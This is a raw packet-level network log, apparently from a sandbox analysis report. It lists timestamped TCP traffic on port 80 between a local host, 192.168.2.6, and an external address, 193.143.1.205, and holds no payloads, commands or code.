Jan 10, 2025 23:44:42.530281067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530287981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.530292034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530306101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530325890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.530344009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.530353069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530364990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530380011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530396938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530411005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.530431032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.531119108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531133890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531147003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531182051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.531238079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531249046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531270027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531285048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531292915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.531302929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531307936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531311035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.531338930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531348944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.531351089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531363964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531397104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.531423092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.531965017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.531991005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.532044888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.532121897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.552177906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552229881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552268982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552330971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.552350044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552388906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552408934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.552442074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552478075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552498102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.552516937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552572012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552572012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.552608967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552644014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.552665949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.581101894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.581120014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.581231117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.585150003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.585191965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.585206032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.585220098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.585258007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.585351944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.618930101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.618957996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.618971109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.618983030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619007111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619021893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619038105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619028091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.619050980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619118929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.619118929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.619225025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619245052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619252920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619260073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619271994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.619276047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619299889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.619333029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.619528055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619540930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.619585037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.651787043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.651813030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.651866913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.651886940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.651963949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.651976109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.651987076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652004004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652015924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652028084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652041912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652045012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652057886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652086020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652118921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652354002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652374029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652417898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652467966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652479887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652491093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652519941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652616024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652668953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652695894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652709007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652719975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652731895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.652785063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652786016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.652962923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653018951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653031111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653062105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.653098106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653109074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653120995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653137922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.653161049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.653182983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653198004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653208017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653222084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653234959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.653237104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653295040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.653309107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653350115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.653877020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653888941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653906107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653929949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.653959990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653970957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653984070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.653996944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654000044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.654036999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.654073000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654083967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654094934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654112101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654113054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.654126883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654139996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.654161930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.654751062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654762983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654774904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654805899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.654838085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654850006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654881001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.654928923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654939890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654953003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654964924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.654968977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.654992104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.655052900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655062914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655075073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655092955 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.655142069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.655704021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655714989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655735016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655747890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655757904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.655760050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655782938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.655823946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655834913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655844927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655858040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655870914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655870914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.655908108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.655908108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.655925035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655936956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.655982018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.656699896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656711102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656727076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656747103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656760931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.656763077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656770945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656779051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656783104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.656786919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656806946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656815052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.656822920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656836033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.656836987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656848907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.656868935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.656886101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.657557964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657569885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657586098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657601118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657610893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.657613993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657629967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657638073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.657644987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657670975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.657679081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657690048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657701015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657721043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657732010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.657733917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.657758951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.657788992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.659353971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.672768116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.672795057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.672807932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.672818899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.672831059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.672842979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.672861099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.673096895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.709532976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.725768089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725795984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725809097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725825071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725836039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725858927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725883961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725895882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725904942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725919008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725929976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725944996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725970030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.725985050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.726033926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.726033926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.726033926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.726033926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.726035118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.728486061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.743643999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743673086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743688107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743700981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743726969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743737936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743751049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.743752003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743752003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.743767023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743781090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743793964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743812084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743818045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.743843079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.743870020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743882895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743897915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.743913889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.743946075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744010925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744030952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744043112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744071960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744085073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744127035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744148016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744195938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744229078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744240046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744256973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744285107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744287014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744326115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744365931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744371891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744385958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744420052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744426966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744431019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744438887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744487047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744530916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744543076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744555950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744570017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744575024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744604111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744612932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744625092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744636059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744659901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744689941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.744976997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.744990110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745001078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745013952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745028973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745032072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745043039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745052099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745058060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745089054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745126963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745138884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745152950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745166063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745194912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745213985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745230913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745243073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745270014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745335102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745347023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745357990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745373011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745376110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745385885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745394945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745404959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745488882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745501041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745503902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745522022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745526075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745534897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745548964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745560884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.745562077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745578051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.745589018 CET	49709	80	192.168.2.6	193.143.1.205
